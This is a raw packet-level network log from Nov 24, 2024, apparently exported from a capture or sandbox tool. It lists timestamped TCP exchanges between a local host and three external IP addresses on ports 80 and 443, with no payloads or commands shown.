Nov 24, 2024 14:24:32.724867105 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.725836992 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.725883007 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.725918055 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.725965023 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.726972103 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.727016926 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.727072954 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.727121115 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.728131056 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.728178978 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.728233099 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.728280067 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.729305983 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.729351997 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.729424000 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.729475021 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.730448008 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.730494022 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.730561972 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.730607033 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.731590033 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.731637001 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.731695890 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.731741905 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.732769012 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.732815027 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.732881069 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.732927084 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.733918905 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.733966112 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.734026909 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.734078884 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.735058069 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.735105038 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.735161066 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.735203981 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.735369921 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.735505104 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.735635996 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.736372948 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.736421108 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.736423016 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.736447096 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.736464977 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.737375975 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.737421036 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.737488031 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.737535000 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.738524914 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.738571882 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.738606930 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.738655090 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.739717960 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.739764929 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.739828110 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.739871979 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.740849018 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.740895987 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.740899086 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.740952015 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.742058992 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.742109060 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.742189884 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.742235899 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.743165970 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.743216991 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.743307114 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.743355036 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.744323015 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.744371891 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.744434118 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.744482040 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.745503902 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.745551109 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.745613098 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.745656013 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.746655941 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.746701002 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.746778011 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.746824026 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.747795105 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.747839928 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.747905016 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.747948885 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.748956919 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.748999119 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.749115944 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.749161005 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.750102997 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.750149965 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.750227928 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.750276089 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.751300097 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.751358986 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.751379967 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.751429081 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.752441883 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.752492905 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.752528906 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.752576113 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.753603935 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.753653049 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.753689051 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.753736973 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.754741907 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.754787922 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.754848003 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.754894018 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.755906105 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.755953074 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.756014109 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.756061077 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.757047892 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.757095098 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.757158995 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.757204056 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.758243084 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.758285999 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.758375883 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.758423090 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.759422064 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.759465933 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.759497881 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.759542942 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.760576963 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.760623932 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.760627985 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.760679007 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.761718035 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.761765003 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.761809111 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.761852026 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.762855053 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.762902021 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.762984037 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.763030052 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.764255047 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.764301062 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.764363050 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.764409065 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.765182972 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.765229940 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.765297890 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.765342951 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.766377926 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.766426086 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.766958952 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.767004967 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.767641068 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.767687082 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.767755032 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.767798901 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.768683910 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.768728971 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.768820047 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.768863916 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.769867897 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.769913912 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.769970894 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.770015955 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.771083117 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.771123886 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.771183014 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.771229029 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.772078991 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.772130013 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.776226997 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.776285887 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.776300907 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.778335094 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.778405905 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.778443098 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.779340029 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.779406071 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.821388006 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.821459055 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.821743965 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.822416067 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.822798014 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.822882891 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.841469049 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.841535091 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.841800928 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.864382982 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.864518881 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.864583015 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.865350008 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.865442038 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.865542889 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.880492926 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.880583048 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.880644083 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.881330013 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.907356977 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.907449961 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.907529116 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.908246994 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.908335924 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.915056944 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.915117979 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.915174007 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.915632010 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.915689945 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.915705919 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.915746927 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.916764975 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.916824102 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.917171001 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.917231083 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.917289019 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.917331934 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.918359995 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.918415070 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.918487072 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.918531895 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.919506073 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.919564962 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.919576883 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.919620037 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.920890093 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.920942068 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.921076059 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.921832085 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.921874046 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.921936989 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.921978951 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.922993898 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.923039913 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.923079967 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.923132896 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.924143076 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.924205065 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.924249887 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.925303936 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.925357103 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.925421953 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.925466061 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.926453114 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.926506042 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.926578045 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.926620960 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.927298069 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.927386045 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:32.927630901 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.927691936 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:32.927737951 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.927768946 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.927783012 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.928770065 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.928893089 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.928941011 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.929970026 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.930017948 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.930078983 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.930121899 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.931058884 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.931107044 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.931195021 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.931236029 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.932260990 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.932308912 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.932379007 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.932421923 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.933518887 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.933564901 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.933583975 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.933629990 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.934561014 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.934603930 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.934664965 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.934710026 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.935241938 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:32.935327053 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.935704947 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.935831070 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.935880899 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.936516047 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.936526060 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:32.936851025 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:32.936866999 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.936923027 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.936970949 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.937017918 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.938023090 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.938070059 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.938138008 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.938180923 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.939162016 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.939213037 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.939271927 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.939321041 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.940337896 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.940381050 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.940458059 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.940510035 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.941165924 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.941514969 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.941561937 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.941622972 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.941667080 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.941864014 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.941917896 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:32.942092896 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.942135096 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:32.942224026 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.942317963 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:32.942430019 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.942455053 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:32.942563057 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.942595959 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:32.942687035 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.942724943 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.942734003 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.942747116 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:32.942754984 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.942760944 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:32.942780972 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.942857981 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.942883015 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.942908049 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:32.942926884 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.942986012 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:32.943037987 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.943078995 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.943104982 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.943279028 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:32.943425894 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.943469048 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.943483114 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:32.943820000 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.943866014 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.943955898 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.944029093 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.944968939 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.945014000 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.945065975 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.945115089 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:32.946172953 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:32.946221113 CET	49815	80	192.168.2.4	185.215.113.16
